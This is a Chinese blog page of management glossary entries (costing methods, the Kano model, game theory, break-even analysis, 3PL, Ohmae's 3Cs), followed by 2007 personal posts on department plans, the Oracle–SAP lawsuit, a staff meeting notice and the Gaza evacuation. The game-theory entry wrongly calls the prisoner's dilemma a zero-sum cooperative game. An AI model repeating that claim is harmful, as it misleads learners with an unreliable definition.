离岸外报是指将业务外包给境外公司。 将业务外包给近邻国家的公司有时候也会被视为近岸外包(参见上条)。

服务级别协议(Servic Level Agreement,SLA)

SLA是一份外包委托合同的附加文件(或单独合约),它规定了外包服务的类型、价值以及提供条件。 一般来讲,SLA是对服务质量的规定,如反应时间、有效性、速度,等等。

共享服务(Shared Services)

共享服务是指将企业其它部门所共需的业务功能包给内部的一个拥有特别技能的部门或团队。 例如,制造公司的采购部门,就可能为公司的所有生产单位提供采购服务。 共享服务当然也可能外包给企业外的第三方。

变动成本法-Variable Costing

什么是变动成本法?

释义

变动成本法(Variable Costing)是一种存货成本计价方法,它在计算单位产品的成本时只考虑变动生产成本。 变动成本法也被称为: 直接成本法(Direct Costing)或边际成本法(Marginal Costing)。

变动生产成本包括:

直接原料(Direct Materials)。

指能够合理辨认系未经加工的原料或可被直接制成成品的零件。

直接人工(Direct Labor)。

指能合理辨认系直接归属于生产制成品所发生的人工成本。 也被称作为: 接触人工(Touch Labor)。

变动间接成本(Variable Manufacturing Overhead Costs)。

与此相对的,固定成本则是指在一定时期(如一年)和一定业务量范围内,不受生产增减变动影响而能保持不变的成本。

其成本总额就是企业在一定时期内(如一年)内的开支总额。

存货成本是否应该包括固定生产成本?

吸收式成本法的支持者认为固定生产成本应该包括进存货成本,因为所有的生产成本都是服务于产品生产的, 它们将于未来产生经济效益。

变动式成本法的支持者则认为,如果要将固定生产成本作为一项资产的话,那么它必须符合“未来成本免除”的原则, 这多少有些类似于预付保费保险。 然而,固定生产成本并不符合这一原则,因为每当生产线开始运作的时候,它们便卷入进来。 因此,它们将作为那一时期的开支计算, 而只有变动成本作为库存成本的计价标准。

利用变动式成本法计算利润的后果

期初与期末的存货水平对于利润计算非常重要:

如果期初与期末的存货水平相同, 吸入式成本法计算的利润 = 变动式成本法计算的利润

如果期末的存货水平降低, 变动式成本法计算的利润 > 吸入式成本法计算的利润

如果期末的存货水平增加, 吸入式成本法计算的利润 > 变动式成本法计算的利润

顾客满意度模型-Customer Satisfaction Model

什么是顾客满意度模型(Customer Satisfaction Model)?

释义

N. Kano的顾客满意度模型是一项质量管理工具和市场营销技术,可以被用来衡量顾客的满意程度。

顾客满意度模型甄别出6类质量属性,其中前3类对顾客满意度产生实质性影响:

基本因素(Basic Factors)。

(不满足要素,必须有的。)顾客对产品的最低限度需求, 必须有。)- 顾客对产品的最低限度需求,如果缺了这些基本因素,会让顾客感到不满;但是,即便产品包含了或者超出了它们,也不会让顾客产生满足感, 顾客想当然地以它们为先决因素。 基本因素是进入市场的最低门槛要求。

兴奋因素(Excitment Factors)。

(满足因素,有吸引力的。) - 有了这些因素,会增强顾客的满足感;即便缺了它们的话,也不至于让顾客产生不满。 这些因素让顾客感到惊喜,并产生“愉悦的感觉”。 产品包含这些因素,就能将自己的企业与竞争对手区别开来,使自己处于有利地位。

性能因素(Performance Factors)。

如果产品性能表现很好,顾客则表示满意;如果产品性能表现很差,顾客则产生不满。 这里,性能表现与总体满足感是线型对称的。 以上这三个因素与顾客的需求、期望直接相关,因此,公司在这些方面一定要具有竞争性。

除此以外,Kano还提到了其他三个属性:

冷漠属性(Indifferent attributes)。

顾客对于有无这些属性并不在意。

可疑属性(Questionable attributes)。

对于这些属性,并不清楚它们是不是顾客所期待的。

背离属性(Reverse Attributes)。

这些属性特征的相反方面才是顾客所期望的。

顾客满意度模型起源

历史

这种顾客满意度的研究方法源于一篇Kano与人合写并发表在日本质量控制协会会刊《品质》上的文章,题目为《诱人品质与必需品质》(1984) 。 39-48.

顾客满意度模型运用。

应用

除了可以明显用于质量控制、市场推广等领域,顾客满意度模型还能用于哪些方面?2004年,Kurt Matzler, Matthias Fuchs 和 Astrid Schubert在《全面质量管理》(Total Quality Manage)上合作发表了一篇文章题为《员工满意度:Kano的模型管用吗?》 (“Employee Satisfaction: DoesKano's Model Apply?”) (Total Quality Management & Business Excellence, 11月-12月2004) Kano的模型在用户满意因素是否也是相关描述雇员满意。 因为员工可以被视为企业内部顾客, 他们的结论就是,Kano的模型同样可以用来分析衡量内部顾客的满意度。

顾客满意度模型的应用步骤

流程

Kano制作了一份问卷来帮助找出上述六种因素,

问卷为产品的每一项特征都准备了两个问题,顾客可以从备选的五个答案中任选一;

前一个问题测试的是,如果产品含有这一因素顾客的反应(功能良好型问题);

后一个问题测试的是,如果产品不含这一因素顾客的反应(功能不良型问题);

通过对两个问题答案的组合分析,就可以总结出该项产品特征属于哪一因素。

博弈论-Game Theory

什么是博弈论?

释义

博弈论是数学理论的一个特殊分支,专业研究如何在特殊复杂的环境下做出决策。 博弈论预测决策结果的依据是一个交互式模型,在这个模型中决策双方的决策行为产生交互式影响。 博弈(Game)在理论中的意思是: 一方的运动变化将导致另一方的运动变化。 博弈的思想最早能够追溯到犹太法典以及中国古代著名军事家孙子的著作。 然而,对博弈论进行系统阐释、最终使其成为当代著名理论,则要归功于John von Neumann和Oskar Morgenstern, 1944年,他们二人出版了《博弈论与经济行为》(Theory of Games and Economic Behavior)一书。 20世纪50年代初期,John Nash对他们的研究结论进行了归纳普及,为博弈论的现代研究提供了基础。 1972年,博弈论的迅速发展催生了由Oskar Morgenstern主办的、第一本专门研究博弈论的学术刊物。 今天,很少有哪个公司在制定战略过程中没有用到博弈论,或者没有融入博弈元素的。

博弈论可以简单定义为对人与人相互影响及决策制定的研究。 博弈论广发应用于社会科学的各个领域,但其核心都是应用了一个交互式的数学模型,假定个体行为将对博弈中的另一方产生影响。 这些模型的交互作用素材均提取于现实世界中的交互作用关系。 当研究博弈论的专家学者乐此不疲地研究各种博弈时,我们应该知道,“博弈”在这里是各种情境的抽象代表,有着严肃的理论研究目的。

博弈论的运用。

应用

准备商业谈判。

分析未来市场条件。

制定战略决策。

评估一项新的商业投资、商业模式、业务计划、经营项目、产品、服务以及技术的生存能力。

博弈论的假定

博弈论的一个要点就是: 假设是非常有必要的。 现实世界的任何模型都必须采取一定的假设使其简单化,否则对其进行恰如其分的分析就是不可能的,因为现实世界太复杂。 存在于现实主义与解决问题的技术能力之间的这一折中是永远不变的。 即便有人能够建立一个不用前提假设的模型,精确地描述人们的决策行为,你也找不到一台计算机帮助进行精确的分析计算。

通常要做哪些假定? 这些假设的前提有:

理性。

人们会为他们采取的任何行动感到愉悦, 同时,他们知道什么会使得他们愉悦。

常识。

我们知道每一个人都试图使自己尽可能的幸福快乐,这种快乐有可能是以他人的损失为代价的。

在行为博弈理论研究中,这些假定有很多种由强到弱的数学表达形式。

实验经济学通过观察可控环境下的人的行为来验证这些假定的正确性。

博弈论案例

博弈论广为人知的例子可能就要数囚徒困境了。 囚徒困境是一个零和合作游戏,它的名称来源于以下假设情境: 想象有两名囚徒,他们被怀疑共同犯有一项罪行。 但是,警方没有足够的证据证明他们有罪。 警方将两名囚徒相互隔离开来,并提供给他们双方这样一个机会: 提供证据证明对方有罪的囚徒将获得释放。 如果两名囚徒均不接受这个机会,即合作抵抗警方,那么最后他们可能只会受到很轻的惩罚,因为警方缺乏定罪证据。 这样的结果当然就是囚徒二人双双获胜。 然而,如果一名囚徒出卖了对方,向警方坦白,他将获释,在这场博弈中,他得到的最多。 另一方面,如果那一名同伙恰恰保持沉默,那么他将遭受全部的惩罚,因为他拒不合作,而且警方又有足够对他定罪的证据。 如果两名囚徒均出卖了对方,向警方坦白,那么他们将双双受到惩罚,尽管惩罚有可能比拒不合作要轻些。 囚徒面临的困境就是他们在两个选择中间只能做出二选一, 但是,在不知道对方如何决定的情况下,他们没有可能做出明智的决策。

收支平衡点与收支平衡分析-Break-even Point and Break-even Analysis

收支平衡点(Break-even Point)就是收益与损失相等的那一点, 它能够反映投资何时将产生积极回报。 收支平衡点也是销售收入与成本费用相等的那一点, 或者是总成本与总收入相等的那一点。 在收支平衡点处,既没有盈利,也没有损失。 在制定价格和决定边际利润之后,收支平衡点就成了盈利水平的底线,因此,在经营管理中,把握好收支平衡点非常重要。

今天达到的收支平衡点既不能弥补昨天发生的损失, 也不能为未来的损失做任何储备。 从投资回报的角度来看,它对此没有任何贡献。

收支平衡分析可以被广泛运用于产品、投资或是公司的整体运营。在期权领域,它也有用武之地。 就此而言,收支平衡点就是权证必须达到一定的市场价格,只有在这一价格水平上,期权买方在行权期间才不会有任何损失。 对于买入期权,它等于行使价格 + 已付溢价; 对于出售期权,它等于行使价格 - 已付溢价。

固定成本、变动成本和利润之间的关系

收支平衡分析是研究固定成本、变动成本和利润关系的一个非常有用的工具, 收支平衡点能够告知投资将于何时产生积极回报。 它可以用直观的图表或者简单的公式来表达。 通过收支平衡分析,可以计算出在一给定价格水平上,为了覆盖所有成本所必需达到的最低产量。 通过收支平衡分析,可以计算出在一给定产量水平上,为了覆盖所有成本所必需达到的最低价格。 在做收支平衡分析时,首先要定义成本项。

固定成本就是公司进入某一商业活动后所卷入的、不管生产水平出现任何变化仍然维持固定不变的成本。 固定成本包括设备折旧、利息费用、税金,以及一般营业费用,等等。 总固定成本是各项固定成本之和。

变动成本和产量直接相关, 它包括已售商品成本或生产费用,如人工、电费、原料、燃料,以及其他与生产或投资相关联的费用。 总变动成本是一定产量水平上的各变动成本之和。 平均变动成本或单位变动成本,就是用总变动成本除以产量。

注意不能把收支平衡点和Payback Period[投资回收期]混淆,后者是指收回投资成本所需的时间。

如果用价值管理术语来阐述,收支平衡点则可以被定义为Operating Profit[营业利润]的边际水平,在这一水平上,经营或投资实现了最低可接受的Rate of Return[收益率],即总资金成本。

收支平衡点的计算

公式:

BEP = TFC/(SUP - VCUP)

注释:

BEP = 收支平衡点(Break-even Point)

TFC = 总固定成本(Total Fixed Costs)

VCUP = 单位变动成本(Variable Costs per Unit of Production)

SUP = 单位产品价格(Savings or additional returns per Unit of Production)

收支平衡分析的优势

收支平衡分析的主要优势在于阐述了成本、产量及利润之间的关系。 它的扩展分析还可以显示出固定成本和变动成本关系变化、商品价格变化,以及收入变化如何影响利润水平和收支平衡。 与局部预算或资本预算工具结合使用,收支平衡分析更为有效。 当然,收支平衡分析的最主要功能还是在于揭示为了规避经营损失的最低产出水平。

收支平衡分析的局限

每次分析只适用于一个产品。

将所有固定成本或变动成本一一归类,比较困难 。

即便成本和收入函数关系发生变化,经营者仍可能运用原有的收支平衡分析,从而造成经营风险,导致经济损失。

ABC,作业成本法-Activity Based Costing

作业成本法(Activity Based Costing)是传统成本会计系统的一种替代方法。 传统会计方法通常假定有利可图的顾客是那些购买量大的顾客, 是那些企业的忠诚顾客, 并相信“利随客来”。 然而,对顾客收益的研究却表明,上述观点并不正确。 作业成本法作为一种成本会计模型,它首先在组织内部确定若干个“作业成本池”(cost pools),亦称“作业中心”(activity centers)。 然后将作业成本池的成本按作业动因(基于生产产品或提供服务全过程所卷入的各项作业的量)分摊到最终产出(产品或服务)。 因此, 作业管理可以帮助管理人员很容易地发现价值是如何实现最大化的,企业业绩是如何被提高的。

传统的成本会计法却是依据产量来分摊变动成本的。

作业成本法的优点:

能够辨认出最有价值的顾客、产品和渠道。

能够辨认出无利可图的顾客、产品和渠道。

能够发现组织财务业绩真正的贡献者和侵蚀者。

根据生产产量、组织结构、资源成本的变化,能够准确预测成本、利润及资源需求。

能够发现不良财务业绩的根源。

能够追踪产生成本的作业和流程。

能够提高管理人员的成本意识,促进生产。

能够更好地促进Marketing Mix[营销组合]。

能够提高企业的议价能力。

能够更好地Positioning[定位]产品 。

由于作业成本法根据作业分摊成本,因而,服务个别顾客产生的成本很容易就能够被甄别出来。 在扣除产品成本和顾客成本之后,企业才能够得到真正的顾客利润率。 这种方法将产品成本和顾客成本分开考虑,有助于计算具体顾客的具体利润率, 从而对产品和服务进行合理的定位。

持续改善

实施作业成本法,还可以帮助员工了解介入的各项成本。 这将有助于他们分析成本,知道哪些是可增值作业,哪些是不可增值作业。 籍此,提高生产水平,实现经济效益。 这是一个连续的改善过程就分析费用来说,减少或消灭非增值活动和达成综合效率。

作业成本法帮助企业更好地回应市场需求,提供优质的、具有价格竞争力的产品。 因为将产品收益和顾客收益分开考虑,作业成本法对高层的决策制定也极为有益。 另外,企业在实现降低成本提高效益的同时,也无需牺牲顾客利益。 许多公司还将作业成本法作为Balanced Scorecard[平衡计分卡]的基础。

这种方法还能够使企业模拟降低成本所产生的影响,进而得以确认真实作业情况下所节约的成本。 总之言之, 作业成本法是一个动态的成本会计方法,使企业达到持续改善的目的。 通过应用作业成本法,企业将产生内在的强有竞争力的成本优势,不断提升股东价值和顾客价值。

然而,实施作业成本法却不是一件轻而易举的事情, 常常需要一些以作业为基础的专门财务软件的帮助。

时间驱动作业成本法(Time-Driven Activity-Based Costing)

Robert Kaplan和Steven Anderson提出了时间驱动作业成本法(《哈佛商业评论》,2004 年11月), 这项方法的提出是为了解决大规模运用作业成本法时所遇到的一些实际困难。 运用这一加工过了作业成本法模型,管理人员只需估计每一生产环节的资源需求、产品及顾客,而无需耗费大量的时间,进行昂贵的员工生产时间调查。 因为对每一组资源、作业,时间驱动作业成本法只需考虑两个参数,因此相对简单。这两个参数分别是: 1. 单位时间内将资源供给到生产作业中去的成本费用 (部门总间接费用开支除以部门总实际员工时间); 2. 作业单位时间估值, 即每一单项作业花费的时间是多少(由管理人员估计或观察得到)。 这种时间驱动作业成本法克服了员工调查所不可避免的技术难题: 当员工被问及各项作业的花费时间时,他们报告的各项作业时间的百分比相加之和总是100%, 管理人员应该考虑到还有时间被浪费掉了。 这种方法也支持时间恒等式,使得作业成本法模型非常接近复杂的真实作业情境。 这种方法还能够显示特别订单、顾客以及作业特征是如何在一定时间内引起成本变化的。

吸收式成本法-Absorption Costing

吸收式成本法(Absorption Costing),亦称 全部成本法(Full Costing),是一种用以对存货进行估价以及计算全部生产成本的会计模型:

直接原料。

直接原料在制成品中占主要部分,并极易从制成品中追溯出来。

直接人工。

是指能够从单位产品中追溯出来的人工成本。 亦称“可触摸人工(touch labor)”。

变动及固定制造费用。

吸收式成本法按单位产品来计算计算成本, 据此,只有在产品出售之后,固定制造费用才被纳入成本计算。

吸收式成本法也被指认为全部成本计算法。

固定生产成本应该被包括在库存里吗?

吸收式成本法的提倡者对此持肯定态度,他们认为所需的各项生产成本都是为了该产品的生产制造, 只不过,固定生产成本的经济效益体现在“未来”罢了。

变动成本法的支持者则认为,固定生产成本作为一项资产,必须符合未来费用规避原则(Future Cost Avoidance Criterion), 好比预付的保险费用。 然而,固定生产成本并不符合这一原则,因为生产线每次运转的时候,它们都被卷了进来。 所以,它们应该被视作可变费用,纳入每一具体时期的库存计算。

吸收式成本法在实际操作过程中还有可能导致这样一个风险,就是生产经理不顾实际销售水平,一味提高产量。 为了获取红利和奖金,高额的生产利润就在报表上反映了出来,而实际生产成本则被顺延到了下一年。

运用吸收式成本法计算利润的后果

如果期初存货与期末存货水平不一致的话,这个差距对利润计算影响很大:

如果期初存货与期末存货量相等, 吸收式成本法与变动成本法计算出的利润值相等;

如果期末存货量下降, 变动成本法计算出的利润值要高于吸收式成本法利润值;

如果期末存货量上升, 吸收式成本法计算出的利润值要高于变动成本法利润值。

第三方物流(3PL)-3rd Party Logistics

什么是第三方物流?

第三方物流(3rd Party Logistics,3PL)是指由物流劳务的供方、需方之外的第三方去完成物流服务的物流运作方式,第三方就是指提供物流交易双方的一项或多项物流功能的外部服务提供者。 最为典型的外包物流功能包括: 到达货物(Inbound Freight)、关务与货运统包(Customs and Freight Consolidation)、公共仓储(Public Warehousing)、合同仓储(Contract Warehousing)、订单执行(Order Fulfillment)、配送(Distribution)及外运货物管理(Management of Outbound Freight to Client's Customers),等等。

除此以外,第三方物流亦可以提供增值服务,如: 重新包装、货物组装以及回收物流(Return Logistics)等。 第三方物流提供商代表客户公司,充分运用自己的资源,执行与管理上述各项物流功能。

第三方物流的核心思想在于:使客户公司裁汰冗余资产,降低运营成本,聚焦于生产经营的利基领域,提高公司的核心竞争能力。 第三方物流往往也指合同物流(Contract Logistics)。

第三方物流的发展起初主要是一种现实的交易需求,现在越来越成为企业发展的战略需要。 与此同时,第三方物流也逐渐发展出新形式——第四方物流(Fourth Party Logistics)。 第四方物流的概念最初由管理咨询公司埃森哲提出,并将“第四方物流”作为专有商标进行了注册。第四方物流提供商是一个供应链管理与服务提供商,它通过运用自己的能力与技术(无需运用自己的资产与资源),为客户提供全面的、最佳的供应链解决方案。 目前,方兴未艾的第五方物流(Fivth Party Logistics)、第七方物流(Seventh Party Logisitics),更预示着全面供应链管理外包的大趋势。

第三方物流的起源。

历史

上个世纪八十年代,全球化的蓬勃发展和IT技术的商业应用, 使得精实生产、不断提高竞争力不仅成为可能,而且成为残酷商战的必须。 在此背景之下,一些成功的第三方物流公司应运而生,如DHL/Exel、Kuehne + Nagel、Schenker、UPC、Panalpina、C.H. Robinson、TNT、Schneider、NYK,等等。

第三方物流的运用。

应用

公司拥有宽幅且复杂的分销网络。 如: IBM.

物流为公司核心竞争力之外的边缘功能。 如: 雪佛龙(Chevron Corp)、英国石油(BP)。

构筑Core Competence[核心竞争力]的战略需求。

公司遇有开发新产品组的情况。

公司遇有整合、并购情况。 比较:Acquisition Integration Approaches[收购整合法]

第三方物流的步骤。

流程

第三方物流的应用通常包括以下一些执行步骤:

产生意识。

调查可行性,知会相关员工,SWOT Analysis[SWOT分析]。

市场调研。

调查市场趋势,尤其是服务要求。 参见: SERVQUAL[SERVQUAL法]、Customer Satisfaction Model[顾客满意度模型]和Quality Function Deployment[质量功能展开]。

制定战略。

比较、研究相关物流概念,开发适合企业的物流战略。

外包决策。

决定在物流功能上构筑自己的竞争力,还是采取物流外包; 决定完全外包,还是部分外包。

进行详规。

成本、收益; 阶段、步骤; 时间; 风险; 沟通、激励。

服务选择。

基于市场覆盖度、整合度、资质等原则,选择物流服务提供商。

签署协议。

签署物流协议,明确双方期望的一系列绩效要求。

评估更新。

维持与管理物流伙伴关系,包括财务成本与收益评估、联合规划、多层沟通与交流、信息交换等。

第三方物流的优势

优点

第三方物流可以提升客户公司的竞争优势:

使公司关注于培育Core Competences[核心竞争力]。

形成成本竞争优势。

释放资源(资金)。

受益于第三方物流提供商的专业物流知识和国际化物流网络,提升客户服务水平。

第三方物流的局限。

缺点和风险

成功运用第三方物流,有以下几个方面需要特别注意:

物流功能的损失控制(尤其是关键部件)。

与客户产生的疏远。

人际接触的缺失。

第三方物流提供提供商服务中断。

第三方物流提供商对于服务标准的理解与己方的差异。

第三方物流的前提。

条件

可以推断,采取第三方物流实践的公司:

物流功能非其核心竞争领域;

至少是一家中等规模的企业,物流有外包的必要。

3Cs模型-3C's Mode

3C模型的发明人,大前研一(Kenichi Ohmae),是日本战略研究的领军人物,他强调成功战略有三个关键因素, 在制定任何经营战略时,都必须考虑这三个因素,即

公司自身(Corporation)。

公司顾客(Customer)。

竞争对手(Competition)。

战略三角

只有将公司、顾客与竞争者整合在同一个战略内,可持续的竞争优势才有存在的可能。 大前研一将这三个关键因素称作为3C或战略三角。

1 : 公司战略

公司战略旨在最大化企业的竞争优势,尤其是与企业成功息息相关的功能性领域的竞争优势:

选择性和程序化。 企业没有必要在各个功能领域都占据领先优势, 企业要能够在某一核心功能上取得决定性优势,那么,它的其他功能领域即便平庸,最终也将因此核心功能优势而获得提升。

以自制或购买为例。 在劳动力成本迅速攀升的情况下,是否将企业的组装业务转包出去,就成了一个非常重要的战略决定。 如果竞争对手不能迅速将生产功能转移给承包商和供营商,那么,该公司与竞争对手的差别最终将表现在成本结构上以及应对需求波动的反应能力上,而这些差别对企业经营与市场竞争将产生至关重要的影响。

提高成本效益。 通过以下三种基本方式实现: 较之竞争对手,更为高效地减少成本费用。

简单化、优化选择: 受理的订单。

提供的产品。

执行的功能。

这种“摘樱桃”(选取最好的)的做法对企业运营影响巨大,一些经营业务、生产功能被削减之后,企业运营成本下降的速度要比营业收入增加的速度还要快。

将企业某项业务的关键功能与其他业务共享,甚至于与其他公司共享。 经验表明,很多情况下,在一个或多个次级营销功能领域进行资源共享是有利的。

2 : 顾客战略

依照大前的观点,顾客是所有战略的基础。 毫无疑问,公司的首要考虑应该是顾客的利益,而不是股东或者其他群体的利益。 从长远来看,只有那些真正为顾客着想的公司对于投资者才有吸引力。

顾客群体的合理划分法:

按消费目的划分。 即按照顾客使用公司产品的不同方式来划分顾客群。 以咖啡为例。 一些人饮用咖啡是为了提神醒脑,而另一些人则是为了休闲交际(如会议茶休期间边饮咖啡边做交谈)。

按顾客覆盖面划分。 这种划分法源于营销成本和市场面的平衡研究。 此研究认为,不论营销成本与市场面二者关系如何变化,营销收益总是在递减的。 因此,公司的任务就是要优化其市场面。 优化的依据既可以是消费者的居住地域,也可以是公司的分销渠道。 通过这一做法,企业的营销成本较之竞争对手将处于更加有利的地位。

对顾客市场进行细分。 在一个竞争激烈的市场上,公司的竞争对手极有可能采取与自己类似的市场手段。 因此,从长远来看,企业最初制定的市场分割战略其功效将逐渐呈现下降趋势。 出现这样的情况后,企业就应该进一步聚焦一小部分核心客户,重新审视什么样的产品和服务才是他们真正需求的。

消费者组合的变化:

随着时间的推移,市场力量通过影响人口结构、销售渠道、顾客规模等等,不断改变消费者组合的分布状态,因此,市场划分也要因时制宜。 这种变化意味着公司必须重新配置其企业资源。

3 : 竞争者战略

大前研一主张,企业的竞争者战略,可以通过寻找有效之法, 追求在采购、设计、制造、销售及服务等功能领域的差异化来实现。 具体思路如下:

品牌形象差异化。 索尼和本田的销售量比他们的竞争对手要高出许多,是因为他们在公关和做广告上投入得更多。 而且,比起竞争对手来,他们的广告战组织得更加谨慎、细致。 当产品功能、分销模式趋同的时候,品牌形象也许就是差异化的唯一源泉。 然而,瑞士腕表业遭遇的不幸也揭示了品牌形象的危险性。因此,必须对品牌形象进行长期有效的监控。

利润和成本结构差异化。 首先,从新产品的销售和附加服务上, 追求最大可能的利润。 其次,在固定成本与变动成本的配置比率上做文章。 当市场低迷的时候,固定成本较低的公司能够轻而易举地调低价格。 由此,通过低价策略,公司极易扩大市场份额。 这一策略对于那些固定成本较高的企业有很大的杀伤力。 市场价格过低的时候,他们往往寸步难行。

轻量级拳击战术。 如果公司打算在传媒上大做广告,或者加大研发力度,那么公司收入将会有很大一部分消耗在这些附加的固定成本上面。 中小企业跟市场巨擘在这样一些领域交战,孰胜孰负不言自明。 然而,企业可以将其市场激励计划建立在一个渐进比例上,而不是一个绝对数值上。这样一种可变的激励计划,同时能够保证经销商为了获取额外回报,加大企业产品的销售力度。 很显然, Big Three Market Players[市场三巨头]不可能为其经销商提供这样的额外回报, 如此,他们的收益将很快遭受到中小公司的侵蚀。

Hito-Kane-Mono。 Hito-Kane-Mono是日本企划师们津津乐道的三个字,即人、财、物(固定资产)。 他们相信,只有当此三者达成平衡,无一冗余或浪费,才能实现流线型的企业管理。 例如: 现金存量超出管理人员的资金需求量,就是一种浪费。 相反,如果管理人员太多,而供其支配的资金不足,同样也是一种浪费。由此产生的浪费还包括,财务管理人员不得不把宝贵的时间花在如何分配有限的资金上。 在此人、财、物三种资源中,应该最后配置资金。 公司首先应该依据现有的“物”(厂房车间、机器设备、技术工艺、流程业务及功能强项)对“人”(管理类型的人才资源)进行针对性的配置 。 一旦“人”的创造性被开发了出来,产生了远见卓识的商业构想,“物”和“财”就应该按需求配置到这些具体的商业构想和生产项目上去。

2007年3月23日星期五

新财年新任务-New FY New Duty

一、部门重点工作如何理解

1、把部门的工作统一到一个目标上来。从客户分类来看,原先感觉是要做两件事:A面向店面的数字化渠道;B面向代理的EB定单系统!但如果从事情本身来看,其实是一件事:数字化服务!只不过这件事情有两个环节:代理数字化、店面数字化!这样一来代理S/O报数项目、店面S/O报数项目就融为了一体;

2、在客户端做整合。我把服务同样客户的工作归到了同一个部门,例如:不论是老EB、NEW EB还是代理S/O报数,都面对共同的客户——DC和在线交易代理,这个客户就100%有EB客户部来负责;同样的道理客户发展部和客户增值部100%对店面销售员负责;

这样分工既实现了面对客户的统一,也实现了不同部门间的衔接!

当然还有一个很重要的好消息:本部在FY07对销售人员的考核全面转为考核代理的出(以往是考核进货),这样也对我们迅速把代理S/O报数项目做好提供了机遇!压力也同样很大,所以在前期我们几乎把全部的人力都投放到了代理S/O报数项目上!

二、价值创造

1、电子商务部明年两项最重要的工作——代理S/O报数项目、店面S/O报数项目都同等重要,对部门的价值贡献缺一不可;没有代理S/O项目的成功,店面S/O就是空中楼台;但反过来如果只做代理S/O,不做店面S/O,那么就没有未来令人兴奋的远景;

2、结构中的5个子部门都具备独立创造价值的可能和基础,任何岗位上的工作对部门都创造价值;

三、互赢、互动

“用互联网的思维来做事情!”是我们每个人必须要具备的基本素质,其要素就是:

互赢——做任何事情都要有追求多赢的思维

互动——做任何事情都要有充分沟通的准备

甲骨文指控SAP-Accusation

甲骨文公司(Oracle Corp.)与SAP AG在软件上长期以来的竞争关系升级,甲骨文对SAP提起一项涉及范围广泛的诉讼,指控该公司从事商业间谍活动。

甲骨文在提交给加利福尼亚州北区联邦地区法院的诉状中称,SAP的员工利用甲骨文客户登录信息进入甲骨文客户支持网站非法获取机密资料。

这份长达44页的诉状称,SAP将成千上万的甲骨文软件产品及其他专利和保密资料复制并扫描到其自己的服务器上。

而SAP对甲骨文的指控不予置评。SAP发言人Frank Hartmann表示,SAP目前对此不予置评。并表示,他们将在适当时候作出更全面的回应。

讨厌SAP,简直不是现代人可以理解的东西,复杂度高到混乱。。。。

2007年3月22日星期四

电子商务部参加集团誓师大会人员安排及注意事项-Notice

本次誓师大会集团和本部都非常重视,所以也请大家格外关注,现将相关事项说明如下:

一、我部门人员座位安排

21排:9号李青梅 11号闫丰 13号杨永成 15号郭静 17号张丽霞 19号陈滔滔
22排:23号李宏 25号门鑫 27号孙锐 29号金霞 31号任俊龙 33号林杉

附件中有座位图,大家参照图片对照自己的座位号。座位号与人严格对应,并将上报集团,一旦确定,不能更改。

二、关于大会纪律的特别提醒:

1、关于进场

(1)、我会提前把入场券发给大家,进场时,入场券、胸卡、人必须是对应的。不可丢失,入场券一旦丢失,人到视为无效,且必须佩带胸卡入场。

(2)、13:50铃响后不得入场,会议期间不得随意上厕所(根据需要,中国剧院临时将二楼的厕所全部改为女厕,只有一楼有男厕,请男同事注意)。

2、关于服装

男士着深色正装(黑色或者藏蓝色),配衬衫、领带(领带是必须的)。

女士着深色职业装(黑色或者藏蓝色)。

3、关于手机

手机必须调至静音状态或关机,不允许震动

4、关于请假

如果临时请假,必须发短信给孟媛媛,再经过集团同意,才能生效。

5、关于处罚措施

对于集团要求的纪律和我刚才强调的注意事项,如有违反,扣除工资500元。另外,大会期间当场抽点,发现未到者,当场开除

钉子户不是丁字裤之五-Israel

8月17日,以色列士兵和警察在加沙地带古什卡提夫定居点将一位不愿离开的孕妇抬走。大批以色列士兵和警察当天清晨开进加沙犹太人定居点,开始对滞留的犹太定居者实施强制撤离。

17日,以色列强制执行加沙撤离计划第一天,终于酿成血案。一名以色列女人自焚抗议撤出行动,七成皮肤遭烧伤;另一名以色列人则在西岸殖民区外,开枪打死4名巴勒斯坦人,打伤1人后被捕。各方希望在平静中结束的加沙撤离行动变数骤增。

犹太妇女自焚抗撤离

逾万以色列士兵及警察昨日清晨开进加沙至少五个犹太人居住区。在以色列南部城镇内蒂沃特,一名54岁的右翼西岸女定居者在一个以兵哨站外引火自焚,抗议撤离计划,结果七成皮肤烧伤。

以军采取行动开始强行把不肯离去的犹太定居者撤离时,士兵以数人抬一人方式架走移民,多名老妇手脚并用奋力挣扎,一人惨呼尖叫:“他(沙龙)毁了我们一生,你们正在毁灭以色列。”

犹太司机开枪杀人

以色列警方17日说,枪击事件发生在约旦河西岸北部的希洛定居点工业区。

当时,两名该工业区的巴勒斯坦工人正坐在名为阿舍·韦斯甘的犹太人车上。在行至一处检查站时,韦斯甘停下车,从检查站保安的手中夺过一把手枪。然后走近汽车后座,向车中的巴勒斯坦人扣动扳机,两名工人当场死亡。

警方说,韦斯甘此后还向正在周围的巴勒斯坦工人开枪,造成1人死亡,2人受伤。其中一名伤者在被送至耶路撒冷医院后不治身亡。

据警方介绍,肇事者是一名公交车司机,每天负责运送打工的巴勒斯坦人出入犹太定居点示罗工业区。

沙龙:“看到这些我心痛”

一名指挥官不忍看到自己人驱赶自己人的悲惨情景,不禁流下男儿泪,说这是情非得已,希望定居者谅解。一名军官激动地与一名犹太人父亲握手,请他们一家人自行离去。

沙龙昨日表示,透过电视看到定居者被强行撤出家园的情景使他不忍卒睹:“看到这些使我心痛。”

他赞扬定居者及以兵双方都保持克制,又呼吁到加沙劝告示威者别与保安部队对抗,如要责怪便责怪他一人好了。

以色列官员称,撤离行动完成后,可能年底才会全面把土地交回巴勒斯坦。

媒体分析说,枪击事件将给撤离行动增添新的变数。对于将自己政治“押”在单边行动计划上的总理沙龙来说,这无疑给他的“政治赌注”带来了悬局。

钉子户不是丁字裤之四-Germany

